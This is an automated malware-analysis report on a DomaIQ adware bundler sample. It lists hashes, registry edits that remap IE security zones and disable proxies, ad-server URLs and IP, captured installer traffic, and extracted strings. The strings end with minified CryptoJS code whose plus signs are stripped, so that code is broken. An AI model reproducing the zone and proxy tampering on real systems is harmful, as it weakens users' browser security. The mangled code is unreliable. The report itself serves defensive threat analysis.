Application.Bundler.DomaIQ.T_dab0c21a43
Application.Bundler.DomaIQ.T (AdAware)
Behaviour: Malware
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
The sample has been submitted by Lavasoft customers.
| Requires JavaScript enabled! |
|---|
MD5: dab0c21a436d44511449c7c190deb1c3
SHA1: 3dffd6cd7ab88f3844750d00535ccc6ff1561b46
SHA256: 97a841a7df56f6e04197962ca85f46bb37fddb0d5e4bf9dff8cd678ea8f78b1b
SSDeep: 24576:m5IM/V0deM5lZ2ykPYMkrQ1OrWaRyv2PBcSL L5/ FMoQl/ugQWiBdrfO a w:cIBfvMkrNrf0u3qdaNLgQWiO Q
Size: 1527016 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2014-09-04 10:32:09
Analyzed on: WindowsXP SP3 32-bit
Summary:
Malware. Malware, short for malicious software, is any software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems.
Payload
No specific payload has been found.
Process activity
The Application creates the following process(es):
%original file name%.exe:1936
The Application injects its code into the following process(es):
%original file name%.exe:544
Mutexes
The following mutexes were created/opened:
ZonesCounterMutex
ZonesCacheCounterMutex
ZonesLockedCacheCounterMutex
oleacc-msaa-loaded
ShimCacheMutex
_!MSFTHISTORY!_
c:!documents and settings!adm!local settings!temporary internet files!content.ie5!
c:!documents and settings!adm!cookies!
c:!documents and settings!adm!local settings!history!history.ie5!
WininetStartupMutex
WininetConnectionMutex
WininetProxyRegistryMutex
RasPbFile
CTF.LBES.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003
CTF.Compart.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003
CTF.Asm.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003
CTF.Layouts.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003
CTF.TMD.MutexDefaultS-1-5-21-1844237615-1960408961-1801674531-1003
File activity
The process %original file name%.exe:544 makes changes in the file system.
The Application creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%System%\wbem\Logs\wbemprox.log (228 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\style[1].css (222 bytes)
Registry activity
The process %original file name%.exe:1936 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F3 ED 52 A8 D2 79 A6 0F 57 10 20 9B E2 E1 1E 78"
The process %original file name%.exe:544 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E2 7B 7B 3D F2 CE AB 24 AE 48 8B 8A 5F B4 53 E6"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
The Application modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Application modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Application modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Application deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
Dropped PE files
There are no dropped PE files.
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
VersionInfo
No information is available.
PE Sections
| Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
|---|---|---|---|---|---|
| .text | 4096 | 61436 | 61440 | 4.61833 | d54edc48909a308154f67f73ad6fd351 |
| .rdata | 65536 | 439228 | 439296 | 4.20482 | 618a6853c20348b12ba77942c314d400 |
| .data | 507904 | 13072 | 5120 | 2.48392 | 5162674895a297adf3878e3fbc3d4986 |
| .rsrc | 524288 | 1015160 | 1015296 | 5.43968 | a4399d625039ff5a9cc1be979071ee28 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Total found: 1228
abbe9ea57296bd950a9b1a3cf2a28a4f
6f106232711610f49ffb4ad2fe28b45e
1970b88c58d495584e7041ddc9807de8
d74ee94dfa7e513ecf5a6e08c0325d13
5fcef991ca8bac991f2f4b76d3223b3c
2460c4b14966988b3a9e49efe08afe7f
982386893eb16a42dad060581d79f0b3
f168720fb01fe473cabfdceab194e70e
8830cc5cfa4e6a02930bbd443d3ad426
a9982923c371b3524446dc4c208373b4
68ec49edf0c9f69c00ff062b7f922c10
ac7a53d3635cef9dec5d16c8a18b4247
aba5c19729bd23c47de2db73aeb14ca8
9300e1b932dd7e429d2b115f33d89c91
545c64bafcb2cf80035466fb6bbda05f
9b1a0b41c8fe4aadb7ca8043c7690171
be91d47842df64828a0cd2d922a18baa
1b2590e06868f6e2651ed87aa78c93c7
0ad1e0d7690ec79b6971540d30889701
57c38e8681eb659dd58f68764d3b7a70
0f626eeebd8623d92ced65528b5672ad
d8d09f5555de5a662e70e4ed4a084bbe
0b8976e07de70ee7cfc593df7eace74c
370404cee25b660080be2f2a61c3f544
a03c76714101b72397bca36db24bc216
ade0c1de08c005b12e481d239b9b4a0a
URLs
| URL | IP |
|---|---|
| hxxp://188.165.146.125/maxpower-static/templates/2014/04/406b6f4a-c4b9-11e3-81ee-06a3579b0dab/t2/css/style.css | |
| hxxp://188.165.146.125/__maxpower__/render_template/2014/04/406b6f4a-c4b9-11e3-81ee-06a3579b0dab/template_variation=t2?language_code=en | |
| hxxp://188.165.146.125/maxpower-static/apps/eb/68648/css/style.css | |
| hxxp://188.165.146.125/__maxpower__/render_offer_and_screen/2014/04/d6c30cee-bb56-11e3-935e-06a3579b0dab/85/398?language_code=en | |
| hxxp://188.165.146.125/maxpower-static/offers/85/398/css/style.css | |
| hxxp://stan.mxp1182.com/maxpower-static/apps/eb/68648/css/style.css | |
| hxxp://stan.mxp1182.com/__maxpower__/render_template/2014/04/406b6f4a-c4b9-11e3-81ee-06a3579b0dab/template_variation=t2?language_code=en | |
| hxxp://stan.mxp1182.com/maxpower-static/templates/2014/04/406b6f4a-c4b9-11e3-81ee-06a3579b0dab/t2/css/style.css | |
| hxxp://stan.mxp1182.com/__maxpower__/render_offer_and_screen/2014/04/d6c30cee-bb56-11e3-935e-06a3579b0dab/85/398?language_code=en |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /__maxpower__/render_template/2014/04/406b6f4a-c4b9-11e3-81ee-06a3579b0dab/template_variation=t2?language_code=en HTTP/1.1
Accept: */*
Proxy-Authorization: Basic
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: stan.mxp1182.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 16 Sep 2014 20:07:27 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2348
Connection: keep-alive
Vary: Accept-Language
Content-Language: en
Accept-Ranges: bytes..<div class="container">.. <div class="header" id="_LeftIma
ge">.. <h1>. <span class="_StepElement _StepWelcom
e" style="display:none;">Welcome</span>. <span class=
"_StepElement _StepOptions" style="display:none;">Additional Option
s</span>. <span class="_StepElement _StepInstalling" sty
le="display:none;">Installing</span>. <span class="_S
tepElement _StepFinished" style="display:none;">Finished</span&g
t;. </h1>.. <h2>%mapp% <span class="_OffersShowin
g" ></span></h2>.. <div class="contact">.
<div class="contact-in" style="height: 80px;">.. <ul&
gt;. <li><a target='_blank' class="_TitPrivacy">P
rivacy Policy</a></li>. <li><a target='_
blank' class="_TitSetup">Setup info</a></li>.
<li><a target='_blank' class="_TitFree">Why is this free?&
lt;/a></li>. <li><a target='_blank' class="
_TitHelp">Help</a></li>. <li><a targe
t='_blank' class="_TitUninstall">Uninstall</a></li>.
<li><a target='_blank' class="_TitContact">Contact
Us</a></li>. </ul>.. </div>. &l
t;/div>. </div>. . <div id="_frameContainer" class="con
tent">.. .. </div>... <!-- buttons -->. <div c
lass="buttons">.. <!--botones derecha -->. ..<in<<< skipped >>>
GET /maxpower-static/apps/eb/68648/css/style.css HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: stan.mxp1182.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 16 Sep 2014 20:07:27 GMT
Content-Type: text/css
Content-Length: 222
Last-Modified: Thu, 31 Jul 2014 13:48:51 GMT
Connection: keep-alive
ETag: "53da4943-de"
Accept-Ranges: bytes/* mapp advanced cleaner pro */../*..welcome .image01 {..float:left;..
background:url("") 0 0 no-repeat;..width:190px;..height:108px;..margin
:6px 0 0;.}.*/....welcome ul {...width:210px;..float: left;..}..welco
me ul li {.}..
GET /maxpower-static/apps/eb/68648/css/style.css HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: stan.mxp1182.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 16 Sep 2014 20:07:28 GMT
Content-Type: text/css
Content-Length: 222
Last-Modified: Thu, 31 Jul 2014 13:48:51 GMT
Connection: keep-alive
ETag: "53da4943-de"
Accept-Ranges: bytes/* mapp advanced cleaner pro */../*..welcome .image01 {..float:left;..
background:url("") 0 0 no-repeat;..width:190px;..height:108px;..margin
:6px 0 0;.}.*/....welcome ul {...width:210px;..float: left;..}..welco
me ul li {.}....
GET /__maxpower__/render_offer_and_screen/2014/04/d6c30cee-bb56-11e3-935e-06a3579b0dab/85/398?language_code=en HTTP/1.1
Accept: */*
Proxy-Authorization: Basic
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Host: stan.mxp1182.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 16 Sep 2014 20:07:28 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 25783
Connection: keep-alive
Vary: Accept-Language
Content-Language: en
Accept-Ranges: bytes...<!-- offer screen - default -->...<div class="offerscreen-
1">..... <h1>. . %mapp% Setup Wizard.. . </h1>..
<h2>. . .. </h2>. .. . ... <div class="i
mage01"></div>. <div class="image02"></div>.. .
<!-- -->.. <p class="text1">. . RockResult software
provides tools and features to transform your normal browsing experie
nce. .. </p>.. <div class="image03"></div>.. <
p class="text2">. . RockResult adds website ratings and reviews
, comparison shopping, exclusive offers, multi-site searching, related
search results, and coupons. Additional features may be auto-enabled
after installing. .. </p>. <p>. . RockResult content
includes advertisements and is not affiliated with any underlying web
sites. Browser settings will be adjusted at install. May require compu
ter reboot to finish install. User info is collected and shared for ad
relevance and other purposes. Uninstall RockResult with Add/Remove Pr
ograms. Please review all terms before installing... </p>. <
;p>. . . </p>. <p>. . . </p>. <p>.
. . </p>. <p>. . . </p>.. <div class="ima
ge04"></div>.. <ul>. . . </ul>. . <div c
lass="txtlft">. . . </div>.. <div class="image05">&
lt;/div>... . <div class="textarea">. ..END USER LICENSE AG
REEMENT.BY INSTALLING THE SOFTWARE, YOU AGREE TO THE FOLLOWING TER<<< skipped >>>
GET /maxpower-static/templates/2014/04/406b6f4a-c4b9-11e3-81ee-06a3579b0dab/t2/css/style.css HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: stan.mxp1182.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 16 Sep 2014 20:07:27 GMT
Content-Type: text/css
Content-Length: 1458
Last-Modified: Sun, 16 Mar 2014 11:01:14 GMT
Connection: keep-alive
ETag: "5325847a-5b2"
Accept-Ranges: bytes@import url('../../css/style.css');.....buttons .green {..-moz-box-sha
dow:inset 0px 1px 0px 0px #939393;..-webkit-box-shadow:inset 0px 1px 0
px 0px #939393;..box-shadow:inset 0px 1px 0px 0px #939393;..background
:-webkit-gradient( linear, left top, left bottom, color-stop(0.05, #84
ca01), color-stop(1, #619901) );..background:-moz-linear-gradient( cen
ter top, #84ca01 5%, #619901 100% );..filter:progid:DXImageTransform.M
icrosoft.gradient(startColorstr='#84ca01', endColorstr='#619901');..ba
ckground-color:#84ca01;..border:1px solid #000000;..-moz-border-radius
:3px;..-webkit-border-radius:3px;..border-radius:3px;. cursor: poin
ter;. display: block;. font-size: 15px;. height: 26px;..margi
n:0 5px;..padding:2px 0 2px 0;..color:#ffffff;.}..buttons .green:hover
{..-moz-box-shadow:inset 0px 1px 0px 0px #939393;..-webkit-box-shadow:
inset 0px 1px 0px 0px #939393;..box-shadow:inset 0px 1px 0px 0px #9393
93;..background:-webkit-gradient( linear, left top, left bottom, color
-stop(0.05, #619901), color-stop(1, #84ca01) );..background:-moz-linea
r-gradient( center top, #619901 5%, #84ca01 100% );..filter:progid:DXI
mageTransform.Microsoft.gradient(startColorstr='#619901', endColorstr=
'#84ca01');..background-color:#619901;.}....buttons .link { ..width: 5
5px;..background: none;..border:none;. cursor: pointer;. display
: block;. font-size: 11px;. text-decoration:underline;. heigh
t: 21px;..margin:0 5px;..padding:0 0 2px 0;..color:#888;.}..<<< skipped >>>
The Application connects to the servers at the folowing location(s):
.text
`.rdata
@.data
.rsrc
@.reloc
FJ<.tN<[tJ<\tF<*tB<|t><^t:<$t6
vSSSh
FTPjK
FtPj;
C.PjRV
tGHt.Ht&
c:\logFile.txt
HKEY_LOCAL_MACHINE
EXCEPTION_EXECUTE_HANDLER
openUrlOnDefaultBrowser
reportException
reportTrace
ThirdPartyUrlBlockedExplorer1
BeforeScriptExecuteExplorer1
hXXp://
URL EMPTY
INSTALL NOT_EXE NOT_MSI
()$^.* ?[]|\-{},:=!WINDOWS
%H:%M:%S
invalid _N_type: %d
checkRegKey
Invalid URL
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
http:
Mozilla
Error opening key.
Key not found.
HKEY_USERS
HKEY_CURRENT_USER
HKEY_CLASSES_ROOT
CheckRegistryKeyExistance
SetStringKey
CWebBrowser2
CNotSupportedException
CCmdTarget
hhctrl.ocx
CHttpConnection
CHttpFile
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
GetProcessWindowStation
USER32.DLL
operator
portuguese-brazilian
GetCPInfo
GetConsoleOutputCP
GetProcessHeap
KERNEL32.dll
GetKeyState
SetWindowsHookExW
UnhookWindowsHookEx
CreateDialogIndirectParamW
USER32.dll
GetViewportExtEx
SetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
ScaleViewportExtEx
GDI32.dll
COMDLG32.dll
WINSPOOL.DRV
RegCloseKey
RegOpenKeyExW
RegEnumKeyExW
RegDeleteKeyW
RegQueryInfoKeyW
RegCreateKeyW
RegEnumKeyW
RegOpenKeyW
RegCreateKeyExW
ADVAPI32.dll
ShellExecuteW
ShellExecuteExW
SHELL32.dll
UrlUnescapeW
SHLWAPI.dll
oledlg.dll
ole32.dll
OLEAUT32.dll
URLDownloadToFileW
urlmon.dll
OLEACC.dll
InternetCrackUrlW
InternetCanonicalizeUrlW
HttpQueryInfoW
HttpSendRequestW
InternetOpenUrlW
HttpOpenRequestW
WININET.dll
.?AVCCmdTarget@@
.?AVCWebBrowser2@@
.PAVCFileException@@
.PAVCInternetException@@
.PAVCOleException@@
.PAVCException@@
.PAVCObject@@
.PAVCMemoryException@@
.PAVCSimpleException@@
.PAVCNotSupportedException@@
.PAVCInvalidArgException@@
.?AVCNotSupportedException@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.PAVCUserException@@
.PAVCResourceException@@
.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@
.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@
.?AVCHttpConnection@@
.?AVCHttpFile@@
.PAVCArchiveException@@
.PAVCOleDispatchException@@
zcÁ
Created with ajaxload.info
var CryptoJS=CryptoJS||function(u,p){var d={},l=d.lib={},s=function(){},t=l.Base={extend:function(a){s.prototype=this;var c=new s;a&&c.mixIn(a);c.hasOwnProperty("init")||(c.init=function(){c.$super.init.apply(this,arguments)});c.init.prototype=c;c.$super=this;return c},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var c in a){a.hasOwnProperty(c)&&(this[c]=a[c])}a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.init.prototype.extend(this)}},r=l.WordArray=t.extend({init:function(a,c){a=this.words=a||[];this.sigBytes=c!=p?c:4*a.length},toString:function(a){return(a||v).stringify(this)},concat:function(a){var c=this.words,e=a.words,j=this.sigBytes;a=a.sigBytes;this.clamp();if(j%4){for(var k=0;k<a;k ){c[j k>>>2]|=(e[k>>>2]>>>24-8*(k%4)&255)<<24-8*((j k)%4)}}else{if(65535<e.length){for(k=0;k<a;k =4){c[j k>>>2]=e[k>>>2]}}else{c.push.apply(c,e)}}this.sigBytes =a;return this},clamp:function(){var a=this.words,c=this.sigBytes;a[c>>>2]&=4294967295<<32-8*(c%4);a.length=u.ceil(c/4)},clone:function(){var a=t.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var c=[],e=0;e<a;e =4){c.push(4294967296*u.random()|0)}return new r.init(c,a)}}),w=d.enc={},v=w.Hex={stringify:function(a){var c=a.words;a=a.sigBytes;for(var e=[],j=0;j<a;j ){var k=c[j>>>2]>>>24-8*(j%4)&255;e.push((k>>>4).toString(16));e.push((k&15).toString(16))}return e.join("")},parse:function(a){for(var c=a.length,e=[],j=0;j<c;j =2){e[j>>>3]|=parseInt(a.substr(j,2),16)<<24-4*(j%8)}return new r.init(e,c/2)}},b=w.Latin1={stringify:function(a){var c=a.words;a=a.sigBytes;for(var e=[],j=0;j<a;j ){e.push(String.fromCharCode(c[j>>>2]>>>24-8*(j%4)&255))}return e.join("")},parse:function(a){for(var c=a.length,e=[],j=0;j<c;j ){e[j>>>2]|=(a.charCodeAt(j)&255)<<24-8*(j%4)}return new r.init(e,c)}},x=w.Utf8={stringify:function(a){try{return decodeURIComponent(escape(b.stringify(a)))}catch(c){throw Error("Malformed UTF-8 data")}},parse:function(a){return b.parse(unescape(encodeURIComponent(a)))}},q=l.BufferedBlockAlgorithm=t.extend({reset:function(){this._data=new r.init;this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=x.parse(a));this._data.concat(a);this._nDataBytes =a.sigBytes},_process:function(a){var c=this._data,e=c.words,j=c.sigBytes,k=this.blockSize,b=j/(4*k),b=a?u.ceil(b):u.max((b|0)-this._minBufferSize,0);a=b*k;j=u.min(4*a,j);if(a){for(var q=0;q<a;q =k){this._doProcessBlock(e,q)}q=e.splice(0,a);c.sigBytes-=j}return new r.init(q,j)},clone:function(){var a=t.clone.call(this);a._data=this._data.clone();return a},_minBufferSize:0});l.Hasher=q.extend({cfg:t.extend(),init:function(a){this.cfg=this.cfg.extend(a);this.reset()},reset:function(){q.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);return this._doFinalize()},blockSize:16,_createHelper:function(a){return function(b,e){return(new a.init(e)).finalize(b)}},_createHmacHelper:function(a){return function(b,e){return(new n.HMAC.init(a,e)).finalize(b)}}});var n=d.algo={};return d}(Math);(function(){var u=CryptoJS,p=u.lib.WordArray;u.enc.Base64={stringify:function(d){var l=d.words,p=d.sigBytes,t=this._map;d.clamp();d=[];for(var r=0;r<p;r =3){for(var w=(l[r>>>2]>>>24-8*(r%4)&255)<<16|(l[r 1>>>2]>>>24-8*((r 1)%4)&255)<<8|l[r 2>>>2]>>>24-8*((r 2)%4)&255,v=0;4>v&&r 0.75*v<p;v ){d.push(t.charAt(w>>>6*(3-v)&63))}}if(l=t.charAt(64)){for(;d.length%4;){d.push(l)}}return d.join("")},parse:function(d){var l=d.length,s=this._map,t=s.charAt(64);t&&(t=d.indexOf(t),-1!=t&&(l=t));for(var t=[],r=0,w=0;w<l;w ){if(w%4){var v=s.indexOf(d.charAt(w-1))<<2*(w%4),b=s.indexOf(d.charAt(w))>>>6-2*(w%4);t[r>>>2]|=(v|b)<<24-8*(r%4);r }}return p.create(t,r)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /="}})();(function(u){function p(b,n,a,c,e,j,k){b=b (n&a|~n&c) e k;return(b<<j|b>>>32-j) n}function d(b,n,a,c,e,j,k){b=b (n&c|a&~c) e k;return(b<<j|b>>>32-j) n}function l(b,n,a,c,e,j,k){b=b (n^a^c) e k;return(b<<j|b>>>32-j) n}function s(b,n,a,c,e,j,k){b=b (a^(n|~c)) e k;return(b<<j|b>>>32-j) n}for(var t=CryptoJS,r=t.lib,w=r.WordArray,v=r.Hasher,r=t.algo,b=[],x=0;64>x;x ){b[x]=4294967296*u.abs(u.sin(x 1))|0}r=r.MD5=v.extend({_doReset:function(){this._hash=new w.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(q,n){for(var a=0;16>a;a ){var c=n a,e=q[c];q[c]=(e<<8|e>>>24)&16711935|(e<<24|e>>>8)&4278255360}var a=this._hash.words,c=q[n 0],e=q[n 1],j=q[n 2],k=q[n 3],z=q[n 4],r=q[n 5],t=q[n 6],w=q[n 7],v=q[n 8],A=q[n 9],B=q[n 10],C=q[n 11],u=q[n 12],D=q[n 13],E=q[n 14],x=q[n 15],f=a[0],m=a[1],g=a[2],h=a[3],f=p(f,m,g,h,c,7,b[0]),h=p(h,f,m,g,e,12,b[1]),g=p(g,h,f,m,j,17,b[2]),m=p(m,g,h,f,k,22,b[3]),f=p(f,m,g,h,z,7,b[4]),h=p(h,f,m,g,r,12,b[5]),g=p(g,h,f,m,t,17,b[6]),m=p(m,g,h,f,w,22,b[7]),f=p(f,m,g,h,v,7,b[8]),h=p(h,f,m,g,A,12,b[9]),g=p(g,h,f,m,B,17,b[10]),m=p(m,g,h,f,C,22,b[11]),f=p(f,m,g,h,u,7,b[12]),h=p(h,f,m,g,D,12,b[13]),g=p(g,h,f,m,E,17,b[14]),m=p(m,g,h,f,x,22,b[15]),f=d(f,m,g,h,e,5,b[16]),h=d(h,f,m,g,t,9,b[17]),g=d(g,h,f,m,C,14,b[18]),m=d(m,g,h,f,c,20,b[19]),f=d(f,m,g,h,r,5,b[20]),h=d(h,f,m,g,B,9,b[21]),g=d(g,h,f,m,x,14,b[22]),m=d(m,g,h,f,z,20,b[23]),f=d(f,m,g,h,A,5,b[24]),h=d(h,f,m,g,E,9,b[25]),g=d(g,h,f,m,k,14,b[26]),m=d(m,g,h,f,v,20,b[27]),f=d(f,m,g,h,D,5,b[28]),h=d(h,f,m,g,j,9,b[29]),g=d(g,h,f,m,w,14,b[30]),m=d(m,g,h,f,u,20,b[31]),f=l(f,m,g,h,r,4,b[32]),h=l(h,f,m,g,v,11,b[33]),g=l(g,h,f,m,C,16,b[34]),m=l(m,g,h,f,E,23,b[35]),f=l(f,m,g,h,e,4,b[36]),h=l(h,f,m,g,z,11,b[37]),g=l(g,h,f,m,w,16,b[38]),m=l(m,g,h,f,B,23,b[39]),f=l(f,m,g,h,D,4,b[40]),h=l(h,f,m,g,c,11,b[41]),g=l(g,h,f,m,k,16,b[42]),m=l(m,g,h,f,t,23,b[43]),f=l(f,m,g,h,A,4,b[44]),h=l(h,f,m,g,u,11,b[45]),g=l(g,h,f,m,x,16,b[46]),m=l(m,g,h,f,j,23,b[47]),f=s(f,m,g,h,c,6,b[48]),h=s(h,f,m,g,w,10,b[49]),g=s(g,h,f,m,E,15,b[50]),m=s(m,g,h,f,r,21,b[51]),f=s(f,m,g,h,u,6,b[52]),h=s(h,f,m,g,k,10,b[53]),g=s(g,h,f,m,B,15,b[54]),m=s(m,g,h,f,e,21,b[55]),f=s(f,m,g,h,v,6,b[56]),h=s(h,f,m,g,x,10,b[57]),g=s(g,h,f,m,t,15,b[58]),m=s(m,g,h,f,D,21,b[59]),f=s(f,m,g,h,z,6,b[60]),h=s(h,f,m,g,C,10,b[61]),g=s(g,h,f,m,j,15,b[62]),m=s(m,g,h,f,A,21,b[63]);a[0]=a[0] f|0;a[1]=a[1] m|0;a[2]=a[2] g|0;a[3]=a[3] h|0},_doFinalize:function(){var b=this._data,n=b.words,a=8*this._nDataBytes,c=8*b.sigBytes;n[c>>>5]|=128<<24-c2;var e=u.floor(a/4294967296);n[(c 64>>>9<<4) 15]=(e<<8|e>>>24)&16711935|(e<<24|e>>>8)&4278255360;n[(c 64>>>9<<4) 14]=(a<<8|a>>>24)&16711935|(a<<24|a>>>8)&4278255360;b.sigBytes=4*(n.length 1);this._process();b=this._hash;n=b.words;for(a=0;4>a;a ){c=n[a],n[a]=(c<<8|c>>>24)&16711935|(c<<24|c>>>8)&4278255360}return b},clone:function(){var b=v.clone.call(this);b._hash=this._hash.clone();return b}});t.MD5=v._createHelper(r);t.HmacMD5=v._createHmacHelper(r)})(Math);(function(){var u=CryptoJS,p=u.lib,d=p.Base,l=p.WordArray,p=u.algo,s=p.EvpKDF=d.extend({cfg:d.extend({keySize:4,hasher:p.MD5,iterations:1}),init:function(d){this.cfg=this.cfg.extend(d)},compute:function(d,r){for(var 